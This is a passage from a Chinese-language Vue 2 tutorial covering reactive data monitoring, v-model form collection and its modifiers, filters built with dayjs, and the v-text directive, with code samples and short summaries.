class="javascript">                &#125;)</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.6qt98do3sy40.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<blockquote>
<p>总结 Vue 监视数据：</p>
<ol>
<li><p>Vue 会监视 data 中所有层次的数据。</p>
</li>
<li><p>如何监测<strong>对象</strong>中的数据：通过 setter 实现监视，且要在 new Vue 是就传入要监测的数据。</p>
<ul>
<li>对象中后追加的属性，Vue 默认不做响应式处理。</li>
<li>如需要给后添加的属性做响应式，可以使用 Vue 提供的 API<ol>
<li><code>Vue.set(添加属性的对象, 要添加的属性名，值)</code></li>
<li><code>vm.$set(添加属性的对象, 要添加的属性名，值)</code></li>
</ol>
</li>
</ul>
</li>
<li><p>如何监视<strong>数组</strong>中的数据：通过包裹数组更新元素的方法实现，本质就是做了两件事情</p>
<ol>
<li>调用原生对应的方法对数组进行更新。</li>
<li>重新解析模板，进行页面的更新。</li>
</ol>
</li>
<li><p>在 Vue 中修改数组一定要使用如下方法：</p>
<ol>
<li>使用这些 API：<code>push()</code>、<code>pop()</code>、<code>unshift()</code>、<code>shift()</code>、<code>sort()</code>、<code>reverse()</code></li>
<li>使用 <code>Vue.set(数组对象, 数据索引，值)</code> 或 <code>vm.$set(数组对象, 数据索引，值)</code></li>
<li><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.3soczkomal40.png" srcset="/img/loading.gif" lazyload alt="image"></li>
</ol>
</li>
<li><p><strong>特别注意：<code>Vue.set()</code> 和 <code>vm.$set()</code> 不能给 vm 或 vm 的根数据对象 添加属性。</strong></p>
</li>
</ol>
</blockquote>
<h2 id="13-收集表单数据"><a href="#13-收集表单数据" class="headerlink" title="13.收集表单数据"></a>13.收集表单数据</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">form</span> @<span class="hljs-attr">submit.prevent</span>=<span class="hljs-string">&quot;submitForm&quot;</span>&gt;</span><br>        账号：<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">v-model.trim</span>=<span class="hljs-string">&quot;userInfo.account&quot;</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>        密码：<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;password&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;userInfo.password&quot;</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>        性别：<br>        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;radio&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;gender&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;男&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;userInfo.gender&quot;</span>&gt;</span>男<br>        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;radio&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;gender&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;女&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;userInfo.gender&quot;</span>&gt;</span>女<br>        <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>        年龄：<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;number&quot;</span> <span class="hljs-attr">v-model.number</span>=<span class="hljs-string">&quot;userInfo.age&quot;</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>        爱好：<br>        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;checkbox&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;学习&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;userInfo.hobby&quot;</span>&gt;</span>学习<br>        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;checkbox&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;打游戏&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;userInfo.hobby&quot;</span>&gt;</span>打游戏<br>        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;checkbox&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;吃饭&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;userInfo.hobby&quot;</span>&gt;</span>吃饭<br>        <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>        所属校区<br>        <span class="hljs-tag">&lt;<span class="hljs-name">select</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;userInfo.city&quot;</span>&gt;</span><br>            <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;&quot;</span>&gt;</span>请选择校区<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span><br>            <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;beijing&quot;</span>&gt;</span>北京<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span><br>            <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;shanghai&quot;</span>&gt;</span>上海<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span><br>            <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;shengzhen&quot;</span>&gt;</span>深圳<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span><br>            <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;wuhan&quot;</span>&gt;</span>武汉<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span><br>        <span class="hljs-tag">&lt;/<span class="hljs-name">select</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>        其他信息：<br>        <span class="hljs-tag">&lt;<span class="hljs-name">textarea</span> <span class="hljs-attr">v-model.lazy</span>=<span class="hljs-string">&quot;userInfo.other&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">textarea</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;checkbox&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;userInfo.agree&quot;</span>&gt;</span><br>        阅读并接受 <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;https://www.baidu.com&quot;</span>&gt;</span>《用户协议》<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">button</span>&gt;</span>提交<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">userInfo</span>: &#123;</span><br><span class="javascript">                <span class="hljs-attr">account</span>: <span class="hljs-string">&#x27;&#x27;</span>,</span><br><span class="javascript">                <span class="hljs-attr">password</span>: <span class="hljs-string">&#x27;&#x27;</span>,</span><br><span class="javascript">                <span class="hljs-attr">gender</span>: <span class="hljs-string">&#x27;男&#x27;</span>,</span><br><span class="javascript">                <span class="hljs-attr">age</span>: <span class="hljs-string">&#x27;&#x27;</span>,</span><br><span class="javascript">                <span class="hljs-attr">hobby</span>: [],</span><br><span class="javascript">                <span class="hljs-attr">city</span>: <span class="hljs-string">&#x27;&#x27;</span>,</span><br><span class="javascript">                <span class="hljs-attr">other</span>: <span class="hljs-string">&#x27;&#x27;</span>,</span><br><span class="javascript">                <span class="hljs-attr">agree</span>: <span class="hljs-literal">false</span></span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">submitForm</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-keyword">if</span> (<span class="hljs-built_in">this</span>.userInfo.agree) &#123;</span><br><span class="javascript">                    <span class="hljs-built_in">console</span>.log(<span class="hljs-built_in">JSON</span>.stringify(<span class="hljs-built_in">this</span>.userInfo))</span><br><span class="javascript">                &#125; <span class="hljs-keyword">else</span> &#123;</span><br><span class="javascript">                    alert(<span class="hljs-string">&quot;请阅读并接受用户协议&quot;</span>)</span><br><span class="javascript">                &#125;</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.1r9zb2mn1l9c.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<blockquote>
<p>总结：</p>
<ol>
<li><p>若：<code>&lt;input type=&quot;text&quot;/&gt;</code>，则 <code>v-model</code> 收集的是 <code>value</code> 值，用户输入的就是 value值。</p>
</li>
<li><p>若：<code>&lt;input type=&quot;radio&quot;/&gt;</code>，则 <code>v-model</code> 收集的是 <code>value</code> 值，且要给标签<strong>配置 value值。</strong></p>
</li>
<li><p>若：<code>&lt;input type=&quot;checkbox&quot;/&gt;</code></p>
<ol>
<li><strong>没有配置 input 的 value 属性</strong>，那么收集的就是 checked（勾选 or 未勾选，是布尔值</li>
<li><strong>配置 input 的 value 属性:</strong><ul>
<li><code>v-model</code> 的初始值是<strong>非数组</strong>，那么收集的就是 checked（勾选 or 未勾选，是布尔值）</li>
<li><code>v-model</code> 的初始值是<strong>数组</strong>，那么收集的的就是 value 组成的数组</li>
</ul>
</li>
</ol>
</li>
<li><p>备注，v-model 的三个修饰符：</p>
<ul>
<li><code>lazy</code>：失去焦点再收集数据</li>
<li><code>number</code>：输入字符串转为有效的数字</li>
<li><code>trim</code>：输入首尾空格过滤</li>
</ul>
</li>
</ol>
</blockquote>
<h2 id="14-过滤器"><a href="#14-过滤器" class="headerlink" title="14.过滤器"></a>14.过滤器</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 引入时间处理库 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/dayjs.min.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>显示格式化前的时间戳<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>&#123;&#123;time&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>显示格式化后的时间（计算属性实现）<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>&#123;&#123;fmtTime&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>显示格式化后的时间（method 实现）<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>&#123;&#123;getFmtTime()&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>显示格式化后的时间（过滤器实现）<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>&#123;&#123;time | timeFormater&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>显示格式化后的时间（过滤器实现）<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>&#123;&#123;time | timeFormater(&#x27;YYYY年MM月DD日 HH点mm分ss秒&#x27;) | mySlice&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">hr</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root2&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>&#123;&#123;hello | mySlice(5)&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript">    <span class="hljs-comment">// 配置全局过滤器</span></span><br><span class="javascript">    Vue.filter(<span class="hljs-string">&#x27;mySlice&#x27;</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">value, length=<span class="hljs-string">&#x27;4&#x27;</span></span>) </span>&#123;</span><br><span class="javascript">        <span class="hljs-keyword">return</span> value.slice(<span class="hljs-number">0</span>, length);</span><br><span class="javascript">    &#125;)</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">time</span>: <span class="hljs-built_in">Date</span>.now()</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">computed</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">fmtTime</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-keyword">return</span> dayjs(<span class="hljs-built_in">this</span>.time).format(<span class="hljs-string">&quot;YYYY-MM-DD HH:mm:ss&quot;</span>)</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">getFmtTime</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-keyword">return</span> dayjs(<span class="hljs-built_in">this</span>.time).format(<span class="hljs-string">&quot;YYYY-MM-DD HH:mm:ss&quot;</span>)</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-comment">// 局部的过滤器</span></span><br><span class="javascript">        <span class="hljs-attr">filters</span>: &#123;</span><br><span class="javascript">            <span class="hljs-comment">// 将日期格式写活</span></span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">timeFormater</span>(<span class="hljs-params">value, formatStr=<span class="hljs-string">&#x27;YYYY-MM-DD HH:mm:ss&#x27;</span></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-keyword">return</span> dayjs(<span class="hljs-built_in">this</span>.time).format(formatStr);</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 在写一个 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root2&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">hello</span>: <span class="hljs-string">&#x27;Hello World&#x27;</span></span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;)</span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.r33s5sxlb2o.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<blockquote>
<p>总结过滤器：</p>
<ol>
<li>定义：对要显示的数据进行<strong>特定格式化后再显示</strong>（适用于一些<strong>简单逻辑</strong>的处理）。</li>
<li>语法：<ul>
<li>注册过滤器：<code>Vue.filter(name,callback)</code>（全局的） 或 <code>new Vue&#123;filters:&#123;&#125;&#125;</code>（局部的）</li>
<li>使用过滤器：<code>&#123;&#123; xxx | 过滤器名&#125;&#125;</code>  或  <code>v-bind:属性 = &quot;xxx | 过滤器名&quot;</code>（不常用）</li>
</ul>
</li>
<li>备注：<ol>
<li>过滤器也可以接收额外参数，但是第一参数一定是要处理的值、多个过滤器也可以串联。</li>
<li>并没有改变原本的数据, 是产生新的对应的数据。</li>
</ol>
</li>
</ol>
</blockquote>
<h2 id="15-内置指令"><a href="#15-内置指令" class="headerlink" title="15.内置指令"></a>15.内置指令</h2><p>我们之前学过的指令：</p>
<table>
<thead>
<tr>
<th align="center"><strong>指令</strong></th>
<th align="center"><strong>作用</strong></th>
</tr>
</thead>
<tbody><tr>
<td align="center"><strong>v-bind</strong></td>
<td align="center"><strong>单向绑定解析表达式，可以简写为 :xxx</strong></td>
</tr>
<tr>
<td align="center"><strong>v-model</strong></td>
<td align="center"><strong>双向绑定数据</strong></td>
</tr>
<tr>
<td align="center"><strong>v-for</strong></td>
<td align="center"><strong>编历数组 / 对象 / 字符串</strong></td>
</tr>
<tr>
<td align="center"><strong>v-on</strong></td>
<td align="center"><strong>绑定监听事件，可简写为 @</strong></td>
</tr>
<tr>
<td align="center"><strong>v-if</strong></td>
<td align="center"><strong>条件渲染（动态控制节点是否存在）</strong></td>
</tr>
<tr>
<td align="center"><strong>v-else</strong></td>
<td align="center"><strong>条件渲染（动态控制节点是否存在）</strong></td>
</tr>
<tr>
<td align="center"><strong>v-show</strong></td>
<td align="center"><strong>条件渲染（动态控制节点是否展示）</strong></td>
</tr>
</tbody></table>
<h3 id="15-1-v-text指令"><a href="#15-1-v-text指令" class="headerlink" title="15.1 v-text指令"></a>15.1 v-text指令</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>&#123;&#123;name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 作用类似于 &#123;&#123;name&#125;&#125; --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-text</span>=<span class="hljs-string">&quot;name&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">hr</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 但存在局限性 --&gt;</span><br>    <span class="hljs-comment">&lt;!-- 不能拼字符串，name 的值会直接覆盖 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>你好&#123;&#123;name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-text</span>=<span class="hljs-string">&quot;name&quot;</span>&gt;</span>你好<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;尚硅谷&quot;</span>,</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.3rq6z4p430q0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h3 id="15-2-v-html指令"><a href="#15-2-v-html指令" class="headerlink" title="15.2 v-html指令"></a>15.2 v-html指令</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- v-html 可以解析包含html结构的内容 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-html</span>=<span class="hljs-string">&quot;str&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

